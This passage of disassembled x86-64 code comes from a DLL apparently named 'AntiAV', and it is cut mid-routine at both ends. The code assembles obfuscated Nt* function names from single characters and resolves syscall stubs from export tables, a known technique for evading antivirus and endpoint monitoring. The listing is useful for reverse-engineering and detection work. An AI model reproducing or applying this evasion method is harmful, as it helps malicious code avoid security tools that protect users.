call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xe40]
lea rdx, [rbp + 0xe60]
lea r8, [0x6c73d413]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xe20]
lea rdx, [rbp + 0xe40]
lea r8, [0x6c73d415]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xe00]
lea rdx, [rbp + 0xe20]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xdc0]
lea rdx, [rbp + 0xde0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0xdc0]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xe20]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xe40]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xe60]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xe80]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xea0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xec0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xee0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xf00]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xf20]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xf40]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xf60]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xf80]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xfa0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x106f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x1070]
mov rcx, qword [rbp + 0x2ee8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c68531c
lea rbx, [0x6c73d3d7]
jmp 0x6c685323
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x13bf]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x13bf]
lea rax, [rbp + 0x1390]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x6c73d417]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1310]
lea rdx, [rbp + 0x1330]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x12f0]
lea rdx, [rbp + 0x1310]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x12d0]
lea rdx, [rbp + 0x12f0]
lea r8, [0x6c73d3d5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x12b0]
lea rdx, [rbp + 0x12d0]
lea r8, [0x6c73d419]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1290]
lea rdx, [rbp + 0x12b0]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1270]
lea rdx, [rbp + 0x1290]
lea r8, [0x6c73d41b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1250]
lea rdx, [rbp + 0x1270]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1230]
lea rdx, [rbp + 0x1250]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1210]
lea rdx, [rbp + 0x1230]
lea r8, [0x6c73d3d3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x11f0]
lea rdx, [rbp + 0x1210]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x11d0]
lea rdx, [rbp + 0x11f0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x11b0]
lea rdx, [rbp + 0x11d0]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1190]
lea rdx, [rbp + 0x11b0]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1170]
lea rdx, [rbp + 0x1190]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1150]
lea rdx, [rbp + 0x1170]
lea r8, [0x6c73d3f7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1130]
lea rdx, [rbp + 0x1150]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1110]
lea rdx, [rbp + 0x1130]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x10f0]
lea rdx, [rbp + 0x1110]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x10d0]
lea rdx, [rbp + 0x10f0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x10b0]
lea rdx, [rbp + 0x10d0]
lea r8, [0x6c73d407]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1090]
lea rdx, [rbp + 0x10b0]
lea r8, [0x6c73d407]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x1090]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1110]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1130]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1150]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1190]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x11b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x11d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x11f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1210]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1230]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1250]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1270]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1290]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x12b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x12d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x13bf]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x13c0]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x13c0]
mov rcx, qword [rbp + 0x2ee0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x13c0]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c685840
lea rbx, [0x6c73d3d7]
jmp 0x6c685847
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x164f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x164f]
lea rax, [rbp + 0x1620]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x6c73d405]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x15c0]
lea rdx, [rbp + 0x15e0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x15a0]
lea rdx, [rbp + 0x15c0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1580]
lea rdx, [rbp + 0x15a0]
lea r8, [0x6c73d3ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1560]
lea rdx, [rbp + 0x1580]
lea r8, [0x6c73d3c9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1540]
lea rdx, [rbp + 0x1560]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1520]
lea rdx, [rbp + 0x1540]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1500]
lea rdx, [rbp + 0x1520]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x14e0]
lea rdx, [rbp + 0x1500]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x14c0]
lea rdx, [rbp + 0x14e0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x14a0]
lea rdx, [rbp + 0x14c0]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1480]
lea rdx, [rbp + 0x14a0]
lea r8, [0x6c73d3d1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1460]
lea rdx, [rbp + 0x1480]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1440]
lea rdx, [rbp + 0x1460]
lea r8, [0x6c73d3d3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1420]
lea rdx, [rbp + 0x1440]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1400]
lea rdx, [rbp + 0x1420]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x13e0]
lea rdx, [rbp + 0x1400]
lea r8, [0x6c73d3d5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x13e0]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1420]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1440]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1460]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1480]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x14a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x14c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x14e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1500]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1520]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1540]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1560]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1580]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x15a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x164f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1650]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x1650]
mov rcx, qword [rbp + 0x2ed8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x1650]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c685c5c
lea rbx, [0x6c73d3d7]
jmp 0x6c685c63
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x175f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x175f]
lea rax, [rbp + 0x1730]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x6c73d3f9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x16d0]
lea rdx, [rbp + 0x16f0]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x16b0]
lea rdx, [rbp + 0x16d0]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1690]
lea rdx, [rbp + 0x16b0]
lea r8, [0x6c73d407]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1670]
lea rdx, [rbp + 0x1690]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x1670]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x1670]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1690]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x175f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1760]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x1760]
mov rcx, qword [rbp + 0x2ed0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x1760]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c685e68
lea rbx, [0x6c73d3d7]
jmp 0x6c685e6f
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x192f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x192f]
lea rax, [rbp + 0x1900]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
lea r8, [0x6c73d411]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x18a0]
lea rdx, [rbp + 0x18c0]
lea r8, [0x6c73d41d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x6c73d3c7]
mov rcx, rax
